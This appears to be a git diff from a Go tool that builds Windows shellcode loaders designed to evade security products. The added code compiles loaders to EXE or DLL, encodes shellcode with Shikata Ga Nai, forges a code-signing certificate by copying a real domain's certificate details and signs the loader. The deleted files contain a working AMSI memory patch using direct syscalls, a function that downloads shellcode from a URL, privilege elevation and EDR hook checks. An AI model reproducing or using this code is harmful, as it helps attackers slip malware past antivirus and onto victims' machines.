+ }
+ }
+
+ // compute entropy
+ entropy, err := utils.Entropy(output_file)
+ if err != nil {
+ log.Fatal(err)
+ }
+ fmt.Println("[+] Loader file entropy:", entropy)
+
+ // compute checksums
+ md5, sha1, sha256, err := utils.CalculateSums(output_file)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ time.Sleep(100 * time.Millisecond)
+ fmt.Println("[+] Checksums:")
+ fmt.Println(" > MD5:", md5)
+ fmt.Println(" > SHA1:", sha1)
+ fmt.Println(" > SHA256:", sha256)
+
+ fmt.Println("\n[+] Shellcode loader has been successfully generated")
+
+ os.Remove("loader.go")
+
+ if (format == "dll") {
+ os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h)
+ }
+}
+
+/*
+
+auxiliary functions start here
+
+*/
+
+// create template, parse it, get result as string, reset buffer and return result
+func ParseTemplate(func_to_parse string, template_main *LoaderTemplate) string {
+ //fmt.Println(func_to_parse)
+ template, err := template.New("template").Parse(func_to_parse)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ err = template.Execute(&buffer, template_main)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ parsed_func := buffer.String()
+ buffer.Reset()
+
+ return parsed_func
+}
+
+// function to finally write the Golang code to a file
+func WriteLoader(code_file string, imports, exports, functions []string) error {
+ // create golang file
+ f, err := os.Create(code_file)
+ if err != nil {
+ return err
+ }
+
+ // define imports and file eader
+ initial_code := `package main
+
+import (
+`
+
+ // shuffle imports slice
+ ShuffleSlice(imports)
+
+ // iterate over every import to add them to the loader code
+ for _, imp := range imports {
+ initial_code = initial_code + ` "` + imp + `"
+`
+ }
+ initial_code = initial_code + ")\n"
+
+ // mix slices
+ all_code_definitions := append(functions, exports...)
+
+ // shuffle slices
+ ShuffleSlice(all_code_definitions)
+
+ // create final code
+ var main_code string
+ for _, entry := range all_code_definitions {
+ main_code = main_code + entry
+ }
+
+ // write initial code to loader file
+ _, err = f.WriteString(initial_code)
+ if err != nil {
+ return err
+ }
+
+ // write remaining part of the code
+ _, err = f.WriteString(main_code)
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
+
+// function to compile loader code based on provided arguments
+func CompileLoader(format string, output_file string, compress bool, arch string) error {
+ // define command to compile source code
+ var compile_cmd *exec.Cmd
+
+ // compile as .EXE
+ if (format == "exe") {
+ if (compress) {
+ compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
+ } else {
+ compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go")
+ }
+ } else if (format == "dll") { // compile as .DLL
+ if (compress) {
+ compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
+ } else {
+ compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
+ }
+ }
+
+ compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc")
+ err := compile_cmd.Run()
+ if err != nil {
+ fmt.Println("[-] Error while compiling loader!")
+ return err
+ }
+
+ return nil
+}
+
+func ShikataGaNai(shellcode []byte) ([]byte, error) {
+ rand_input_file := utils.RandomString(8) + ".bin"
+ rand_output_file := utils.RandomString(8) + ".bin"
+
+ err := ioutil.WriteFile(rand_input_file, shellcode, 0644)
+ if err != nil {
+ return nil, err
+ }
+
+ cmd := exec.Command("sgn", "-i", rand_input_file, "-o", rand_output_file)
+ err = cmd.Run()
+ if err != nil {
+ fmt.Println("[-] Error while running sgn to obfuscate shellcode, skipping this step")
+
+ // revert changes if sgn returned an error
+ os.Remove(rand_input_file)
+ os.Remove(rand_output_file)
+ return nil, err
+ }
+ time.Sleep(100 * time.Millisecond)
+
+ sgn_shellcode, err := utils.GetShellcodeFromFile(rand_output_file)
+ if err != nil {
+ return nil, err
+ }
+
+ os.Remove(rand_input_file)
+ os.Remove(rand_output_file)
+
+ return sgn_shellcode, nil
+}
+
+// generate certificates needed to sign executables
+func GenerateCerts(domain string, password string) error {
+ // create .KEY file
+ fmt.Println(" > Generating KEY file")
+
+ rootKey, err := rsa.GenerateKey(crypto_rand.Reader, 4096)
+ if err != nil {
+ return err
+ }
+
+ conn, err := tls.Dial("tcp", domain + ":443", &tls.Config{InsecureSkipVerify: true})
+ if err != nil {
+ return err
+ }
+ defer conn.Close()
+
+ var buff bytes.Buffer
+ for _, cert := range conn.ConnectionState().PeerCertificates {
+ err = pem.Encode(&buff, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw})
+ if err != nil {
+ return err
+ }
+ }
+
+ certs := buff.String()
+
+ block, _ := pem.Decode([]byte(certs))
+ cert, _ := x509.ParseCertificate(block.Bytes)
+
+ time.Sleep(100 * time.Millisecond)
+ file, err := os.Create(domain + ".key")
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ b, err := x509.MarshalPKCS8PrivateKey(rootKey)
+ if err != nil {
+ return err
+ }
+
+ err = pem.Encode(file, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: b})
+ if err != nil {
+ return err
+ }
+
+ SubjectTemplate := x509.Certificate{
+ SerialNumber: cert.SerialNumber,
+ Subject: pkix.Name{
+ CommonName: cert.Subject.CommonName,
+ },
+ NotBefore: cert.NotBefore,
+ NotAfter: cert.NotAfter,
+ BasicConstraintsValid: true,
+ IsCA: true,
+ KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
+ ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth},
+ }
+
+ IssuerTemplate := x509.Certificate{
+ SerialNumber: cert.SerialNumber,
+ Subject: pkix.Name{
+ CommonName: cert.Issuer.CommonName,
+ },
+ NotBefore: cert.NotBefore,
+ NotAfter: cert.NotAfter,
+ }
+
+ derBytes, err := x509.CreateCertificate(crypto_rand.Reader, &SubjectTemplate, &IssuerTemplate, &rootKey.PublicKey, rootKey)
+ if err != nil {
+ return err
+ }
+
+ // create .PEM file
+ fmt.Println(" > Generating PEM file")
+ time.Sleep(100 * time.Millisecond)
+ certOut, err := os.Create(domain + ".pem")
+ if err != nil {
+ return err
+ }
+
+ err = pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
+ if err != nil {
+ return err
+ }
+
+ err = certOut.Close()
+ if err != nil {
+ return err
+ }
+
+ // generate PFX file
+ fmt.Println(" > Generating PFX file")
+ time.Sleep(100 * time.Millisecond)
+ cmd := exec.Command("openssl", "pkcs12", "-export", "-out", domain + ".pfx", "-inkey", domain + ".key", "-in", domain + ".pem", "-passin", "pass:" + password, "-passout", "pass:" + password)
+ err = cmd.Run()
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
+
+func SignLoader(input_file string, output_file string, domain string, password string, verbose bool) error {
+ if (verbose) {
+ fmt.Println(" > Using osslsigncode to sign " + input_file)
+ time.Sleep(100 * time.Millisecond)
+ }
+
+ cmd := exec.Command("osslsigncode", "sign", "-pkcs12", domain + ".pfx", "-in", input_file, "-out", output_file, "-pass", password)
+ err := cmd.Run()
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
+
+// function which takes care of generating random configuration when the --rand CLI argument was provided
+func GetRandomConfig() (string, string, bool, bool, bool, bool, bool, bool, bool, bool, bool, bool) {
+ var encrypt, unhook string
+ var noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress bool
+
+ enc_rand := utils.RandomInt(1, 5)
+ if enc_rand == 1 {
+ encrypt = "aes"
+ } else if enc_rand == 2 {
+ encrypt = "3des"
+ } else if enc_rand == 3 {
+ encrypt = "rc4"
+ } else if enc_rand == 4 {
+ encrypt = "xor"
+ } else if enc_rand == 5 {
+ encrypt = "none"
+ }
+
+ unhook_rand := utils.RandomInt(1, 3)
+ if unhook_rand == 1 {
+ unhook = "full"
+ } else if unhook_rand == 2 {
+ unhook = "peruns"
+ } else if unhook_rand == 3 {
+ unhook = "none"
+ }
+
+ amsi_rand := utils.RandomInt(1, 2)
+ if amsi_rand == 1 {
+ noamsi = false // patch AMSI
+ } else {
+ noamsi = true // do not patch AMSI
+ }
+
+ etw_rand := utils.RandomInt(1, 2)
+ if etw_rand == 1 {
+ noetw = false // patch ETW
+ } else {
+ noetw = true // do not patch ETW
+ }
+
+ sgn_rand := utils.RandomInt(1, 2)
+ if sgn_rand == 1 {
+ sgn = false // do not use Shikata Ga Nai
+ } else {
+ _, err := exec.LookPath("sgn") // check if sgn command is installed
+ if err == nil {
+ sgn = true
+ } else {
+ sgn = false
+ }
+ }
+
+ strings_rand := utils.RandomInt(1, 2)
+ if strings_rand == 1 {
+ str_obfs = true
+ } else {
+ str_obfs = false
+ }
+
+ acg_rand := utils.RandomInt(1, 2)
+ if acg_rand == 1 {
+ acg = false // do not enable ACG Guard
+ } else {
+ acg = true // enable ACG Guard
+ }
+
+ blockdlls_rand := utils.RandomInt(1, 2)
+ if blockdlls_rand == 1 {
+ blockdlls = true // enable blockdlls
+ } else {
+ blockdlls = false // do not enable blockdlls
+ }
+
+ sandbox_rand := utils.RandomInt(1, 2)
+ if sandbox_rand == 1 {
+ sandbox = false // do not enable sandbox detection
+ } else {
+ sandbox = true // enable sandbox detection
+ }
+
+ phantom_rand := utils.RandomInt(1, 2)
+ if phantom_rand == 1 {
+ phantom = false // do not use Phant0m technique
+ } else {
+ phantom = true // use Phant0m technique
+ }
+
+ sleep_rand := utils.RandomInt(1, 2)
+ if sleep_rand == 1 {
+ sleep_time = true
+ } else {
+ sleep_time = false
+ }
+
+ compress_rand := utils.RandomInt(1, 2)
+ if compress_rand == 1 {
+ compress = true
+ } else {
+ compress = false
+ }
+
+ return encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress
+}
+
+func CaesarEncrypt(plaintext string, shift int) string {
+ ciphertext := ""
+
+ for _, char := range plaintext {
+ if char >= 'A' && char <= 'Z' {
+ ciphertext += string((char-'A'+rune(shift))%26 + 'A')
+ } else if char >= 'a' && char <= 'z' {
+ ciphertext += string((char-'a'+rune(shift))%26 + 'a')
+ } else {
+ ciphertext += string(char)
+ }
+ }
+
+ return ciphertext
+}
+
+func CaesarDecrypt(ciphertext string, shift int) string {
+ return CaesarEncrypt(ciphertext, 26-shift)
+}
+
+func ObfuscateStr(str string, str_obfs bool) string {
+ if (str_obfs) {
+ if strings.Contains(str, "\\") {
+ //fmt.Println(str)
+ str = strings.ReplaceAll(str, "\\", "\\\\")
+ }
+
+ rand_shift := utils.RandomInt(2, 10)
+ return "{{.Vars.caesar_decrypt_func}}(\"" + CaesarEncrypt(str, rand_shift) + "\", " + strconv.Itoa(rand_shift) + ")"
+ } else {
+ return ConvertStr(str)
+ }
+}
+
+func ShuffleSlice(slice []string) {
+ math_rand.Seed(time.Now().UnixNano())
+ math_rand.Shuffle(len(slice), func(i, j int) { slice[i], slice[j] = slice[j], slice[i] })
+}
+
+func GenerateHash(str string, rand_num int) string {
+ if (rand_num == 1) {
+ return utils.Md5(str)
+ } else if (rand_num == 2) {
+ return utils.Sha1(str)
+ } else if (rand_num == 3) {
+ return utils.Sha256(str)
+ }
+
+ return ""
+}
+
+func ConvertStr(str string) string {
+ new_str := fmt.Sprint("string([]byte{")
+ for p, c := range str {
+ if fmt.Sprintf("%c", c) == "\\" {
+ new_str = new_str + fmt.Sprintf("'\\%c', ", c)
+ } else {
+ if (len(str) - 1) == p {
+ new_str = new_str + fmt.Sprintf("'%c'", c)
+ } else {
+ new_str = new_str + fmt.Sprintf("'%c', ", c)
+ }
+ }
+ }
+ new_str = new_str + fmt.Sprint("})")
+
+ return new_str
+}
+
+func GetCallsNames() (string, string, string, string, string, string) {
+ var NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess string
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtAllocateVirtualMemory = "NtAllocateVirtualMemory"
+ } else {
+ NtAllocateVirtualMemory = "ZwAllocateVirtualMemory"
+ }
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtWriteVirtualMemory = "NtWriteVirtualMemory"
+ } else {
+ NtWriteVirtualMemory = "ZwWriteVirtualMemory"
+ }
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtProtectVirtualMemory = "NtProtectVirtualMemory"
+ } else {
+ NtProtectVirtualMemory = "ZwProtectVirtualMemory"
+ }
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtCreateThreadEx = "NtCreateThreadEx"
+ } else {
+ NtCreateThreadEx = "ZwCreateThreadEx"
+ }
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtQueryInformationThread = "NtQueryInformationThread"
+ } else {
+ NtQueryInformationThread = "ZwQueryInformationThread"
+ }
+
+ if (utils.RandomInt(1,2) == 1) {
+ NtQueryInformationProcess = "NtQueryInformationProcess"
+ } else {
+ NtQueryInformationProcess = "ZwQueryInformationProcess"
+ }
+
+ return NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess
+}
+
+func ConvertBytesToStrFormat(src_bytes []byte) string {
+ var new_str string
+
+ new_str = "[]byte{"
+
+ for _, b := range src_bytes {
+ new_str = new_str + fmt.Sprintf("0x%x, ", b)
+ }
+
+ new_str = strings.TrimSuffix(new_str, ", ") + "}"
+
+ return new_str
+}
+
+func ConvertSliceToStrFormat(slice []string, str_obfs bool) string {
+ var new_str string
+
+ if str_obfs {
+ new_str = "[]string{ "
+ } else {
+ new_str = "[]string{"
+ }
+
+ for _, i := range slice {
+ new_str = new_str + ObfuscateStr(i, str_obfs) + ", "
+ }
+
+ new_str = strings.TrimSuffix(new_str, ", ") + "}"
+
+ return new_str
+}
+
diff --git a/core/amsi.go b/core/amsi.go
deleted file mode 100644
index 5fb212e..0000000
--- a/core/amsi.go
+++ /dev/null
@@ -1,79 +0,0 @@
-package core
-
-import (
- "fmt"
- "syscall"
- "unsafe"
-)
-
-var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
-
-func PatchAmsi() error {
- err := WriteBytes(string([]byte{'a', 'm', 's', 'i', '.', 'd', 'l', 'l'}), string([]byte{'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'}), &amsi_patch)
- if err != nil {
- return err
- }
-
- return nil
-}
-
-func WriteBytes(module string, proc string, data *[]byte) error {
-
- target := syscall.NewLazyDLL(module).NewProc(proc)
- err := target.Find()
- if err != nil {
- return err
- }
-
- ZwWriteVirtualMemory, err := GetSysId(string([]byte{'Z', 'w', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
- if err != nil {
- return err
- }
-
- NtProtectVirtualMemory, err := GetSysId(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
- if err != nil {
- return err
- }
-
- baseAddress := target.Addr()
- numberOfBytesToProtect := uintptr(len(*data))
- var oldProtect uint32
-
- ret, err := Syscall(
- NtProtectVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&baseAddress)),
- uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
- syscall.PAGE_EXECUTE_READWRITE,
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- if ret != 0 || err != nil {
- return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
- }
-
- ret, err = Syscall(
- ZwWriteVirtualMemory,
- uintptr(0xffffffffffffffff),
- target.Addr(),
- uintptr(unsafe.Pointer(&[]byte(*data)[0])),
- unsafe.Sizeof(*data),
- 0,
- )
- if ret != 0 || err != nil {
- return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err)
- }
-
- ret, err = Syscall(
- NtProtectVirtualMemory,
- uintptr(0xffffffffffffffff),
- uintptr(unsafe.Pointer(&baseAddress)),
- uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
- uintptr(oldProtect),
- uintptr(unsafe.Pointer(&oldProtect)),
- )
- if ret != 0 || err != nil {
- return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
- }
-
- return nil
-}
diff --git a/core/auxiliary.go b/core/auxiliary.go
deleted file mode 100644
index 66ad07a..0000000
--- a/core/auxiliary.go
+++ /dev/null
@@ -1,387 +0,0 @@
-package core
-
-import (
- "bytes"
- "crypto/sha1"
- "encoding/binary"
- "fmt"
- "io"
- "io/ioutil"
- "math/rand"
- "net/http"
- "os"
- "strings"
- "syscall"
- "time"
- "unsafe"
-
- "golang.org/x/sys/windows"
-
- // Third-party packages
- "github.com/Binject/debug/pe"
-)
-
-var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
-
-type MayBeHookedError struct { // Define custom error for hooked functions
- Foundbytes []byte
-}
-
-func (e MayBeHookedError) Error() string {
- return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
-}
-
-func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
- for _, hdr := range pefile.Sections {
- baseoffset := uint64(rva)
- if baseoffset > uint64(hdr.VirtualAddress) &&
- baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
- return rva - hdr.VirtualAddress + hdr.Offset
- }
- }
- return rva
-}
-
-func CheckBytes(b []byte) (uint16, error) {
- if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
- return 0, MayBeHookedError{Foundbytes: b}
- }
-
- return binary.LittleEndian.Uint16(b[4:8]), nil
-}
-
-// Generate a random integer between range
-func RandomInt(max int, min int) int { // Return a random number between max and min
- rand.Seed(time.Now().UnixNano())
- rand_int := rand.Intn(max-min+1) + min
- return rand_int
-}
-
-func RandomString(length int) string { // Return random string passing an integer (length)
- var seededRand *rand.Rand = rand.New(
- rand.NewSource(time.Now().UnixNano()))
- const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-
- b := make([]byte, length)
- for i := range b {
- b[i] = charset[seededRand.Intn(len(charset))]
- }
-
- return string(b)
-}
-
-func CalcShellcode() []byte {
- return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
-}
-
-// Shellcode helper functions
-
-func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
- req, err := http.NewRequest("GET", sc_url, nil)
- if err != nil {
- return []byte(""), err
- }
-
- req.Header.Set("Accept", "application/x-www-form-urlencoded")
- req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
- client := &http.Client{}
- resp, err := client.Do(req)
- if err != nil {
- return []byte(""), err
- }
- defer resp.Body.Close()
-
- b, err := io.ReadAll(resp.Body)
- if err != nil {
- return []byte(""), err
- }
- return b, nil
-}
-
-func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
- f, err := os.Open(file)
- if err != nil {
- return []byte(""), err
- }
- defer f.Close()
-
- shellcode_bytes, err := ioutil.ReadAll(f)
- if err != nil {
- return []byte(""), err
- }
-
- return shellcode_bytes, nil
-}
-
-// Convert string to Sha1 (used for hashing)
-func StrToSha1(str string) string {
- h := sha1.New()
- h.Write([]byte(str))
- bs := h.Sum(nil)
- return fmt.Sprintf("%x", bs)
-}
-
-func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
- var sid *windows.SID
- err := windows.AllocateAndInitializeSid(
- &windows.SECURITY_NT_AUTHORITY,
- 2,
- windows.SECURITY_BUILTIN_DOMAIN_RID,
- windows.DOMAIN_ALIAS_RID_ADMINS,
- 0, 0, 0, 0, 0, 0,
- &sid,
- )
- if err != nil {
- return false, err
- }
-
- token := windows.Token(0)
- member, err := token.IsMember(sid) // Check if is inside admin group
- if err != nil {
- return false, err
- }
-
- return member, nil // return true (means high privs) or false (means low privs)
-}
-
-// Enable SeDebugPrivilege
-func ElevateProcessToken() error {
-
- type Luid struct {
- lowPart uint32 // DWORD
- highPart int32 // long
- }
-
- type LuidAndAttributes struct {
- luid Luid // LUID
- attributes uint32 // DWORD
- }
-
- type TokenPrivileges struct {
- privilegeCount uint32 // DWORD
- privileges [1]LuidAndAttributes
- }
-
- const SeDebugPrivilege = "SeDebugPrivilege"
- const tokenAdjustPrivileges = 0x0020
- const tokenQuery = 0x0008
- var hToken uintptr
-
- kernel32 := syscall.NewLazyDLL("kernel32.dll")
- advapi32 := syscall.NewLazyDLL("advapi32.dll")
-
- GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
- GetLastError := kernel32.NewProc("GetLastError")
- OpenProcessToken := advapi32.NewProc("OpenProcessToken")
- LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
- AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
-
- currentProcess, _, _ := GetCurrentProcess.Call()
-
- result, _, err := OpenProcessToken.Call(
- currentProcess,
- tokenAdjustPrivileges|tokenQuery,
- uintptr(unsafe.Pointer(&hToken)),
- )
-
- if result != 1 {
- return err
- }
-
- var tkp TokenPrivileges
-
- result, _, err = LookupPrivilegeValue.Call(
- uintptr(0),
- uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
- uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
- )
-
- if result != 1 {
- return err
- }
-
- const SePrivilegeEnabled uint32 = 0x00000002
-
- tkp.privilegeCount = 1
- tkp.privileges[0].attributes = SePrivilegeEnabled
-
- result, _, err = AdjustTokenPrivileges.Call(
- hToken,
- 0,
- uintptr(unsafe.Pointer(&tkp)),
- 0,
- uintptr(0),
- 0,
- )
-
- if result != 1 {
- return err
- }
-
- result, _, _ = GetLastError.Call()
- if result != 0 {
- return err
- }
-
- return nil
-}
-
-/*
-
-This code has been taken and modified from Doge-Gabh project
-
-*/
-
-type Export struct {
- Name string
- VirtualAddress uintptr
-}
-
-type sstring struct {
- Length uint16
- MaxLength uint16
- PWstr *uint16
-}
-
-func (s sstring) String() string {
- return windows.UTF16PtrToString(s.PWstr)
-}
-
-func inMemLoads(modulename string) (uintptr, uintptr) {
- s, si, p := gMLO(0)
- start := p
- i := 1
-
- if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
- return s, si
- }
-
- for {
- s, si, p = gMLO(i)
-
- if p != "" {
- if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
- return s, si
- }
- }
-
- if p == start {
- break
- }
-
- i++
- }
-
- return 0, 0
-}
-
-func GetNtdllStart() (start uintptr, size uintptr)
-
-func getExport(pModuleBase uintptr) []Export {
- var exports []Export
- var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase)
- //IMAGE_NT_SIGNATURE
- if pImageNtHeaders.Signature != 0x00004550 {
- return nil
- }
- var pImageExportDirectory *imageExportDir
-
- pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress)))))
-
- pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions)
- pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames)
-
- pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals)
-
- for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ {
- var export Export
- pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4)))
- pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4)))
- export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName)))
- export.VirtualAddress = uintptr(pFunctionAddress)
- exports = append(exports, export)
- }
-
- return exports
-}
-
-func memcpy(dst, src, size uintptr) {
- for i := uintptr(0); i < size; i++ {
- *(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i))
- }
-}
-
-func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
-
- offset := 0
- pattern1 := []byte{0x0f, 0x05, 0xc3}
- pattern2 := []byte{0xcc, 0xcc, 0xcc}
-
- // find first occurrence of syscall+ret instructions
- for i := 0; i < size-3; i++ {
- instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
-
- if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
- offset = i
- break
- }
- }
-
- // find the beginning of the syscall
- for i := 3; i < 50; i++ {
- instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
- if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
- offset = offset - i + 3
- break
- }
- }
-
- return offset
-}
-
-func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
-
- offset := 0
- pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
-
- for i := size - 9; i > 0; i-- {
- instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
-
- if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
- offset = i + 6
- break
- }
- }
-
- return offset
-}
-
-func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
- var badstring *sstring
- start, size, badstring = getMLO(i)
- modulepath = badstring.String()
- return
-}
-
-// getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
-func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring)
-
-func uint16Down(b []byte, idx uint16) uint16 {
- _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
- return uint16(b[0]) - idx | uint16(b[1])<<8
-}
-
-func uint16Up(b []byte, idx uint16) uint16 {
- _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808
- return uint16(b[0]) + idx | uint16(b[1])<<8
-}
-
-func contains(slice []string, item string) bool {
- set := make(map[string]struct{}, len(slice))
- for _, s := range slice {
- set[s] = struct{}{}
- }
-
- _, ok := set[item]
- return ok
-}
diff --git a/core/blockdlls.go b/core/blockdlls.go
deleted file mode 100644
index 9a8bc95..0000000
--- a/core/blockdlls.go
+++ /dev/null
@@ -1 +0,0 @@
-package core
diff --git a/core/blockhandle.go b/core/blockhandle.go
deleted file mode 100644
index 67f31bc..0000000
--- a/core/blockhandle.go
+++ /dev/null
@@ -1,54 +0,0 @@
-package core
-
-import (
- "time"
- //"errors"
- "golang.org/x/sys/windows"
- "syscall"
- "unsafe"
-)
-
-func ConvertStringSecurityDescriptorToSecurityDescriptorW(p1 uintptr, p2 uintptr, p3 uintptr, p4 uintptr) error {
- advapi32 := windows.NewLazySystemDLL("advapi32.dll")
- procConvertStringSecurityDescriptorToSecurityDescriptorW := advapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW")
-
- r, _, _ := syscall.Syscall6(
- procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(),
- 4,
- uintptr(p1),
- uintptr(p2),
- uintptr(p3),
- uintptr(p4),
- 0,
- 0,
- )
- if r != 0 {
- return syscall.Errno(r)
- }
-
- return nil
-}
-
-func BlockHandle() error {
- sddl, _ := syscall.UTF16PtrFromString("D:P(D;OICI;GA;;;WD)(A;OICI;GA;;;SY)(A;OICI;GA;;;OW)")
- var sec_descriptor *windows.SECURITY_DESCRIPTOR = nil
-
- ConvertStringSecurityDescriptorToSecurityDescriptorW(
- uintptr(unsafe.Pointer(sddl)),
- 1,
- uintptr(unsafe.Pointer(sec_descriptor)),
- 0,
- )
-
- windows.SetKernelObjectSecurity(
- windows.CurrentProcess(),
- windows.DACL_SECURITY_INFORMATION,
- sec_descriptor,
- )
-
- sec := uintptr(unsafe.Pointer(sec_descriptor))
- windows.LocalFree(windows.Handle(sec))
- time.Sleep(10000 * time.Second)
